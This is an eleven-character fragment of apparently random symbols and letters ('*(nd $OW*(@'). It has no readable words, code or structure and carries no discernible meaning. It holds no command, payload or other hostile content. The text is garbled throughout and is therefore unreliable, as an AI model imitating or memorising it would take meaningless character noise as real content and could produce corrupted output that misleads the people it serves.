*(nd $OW*(@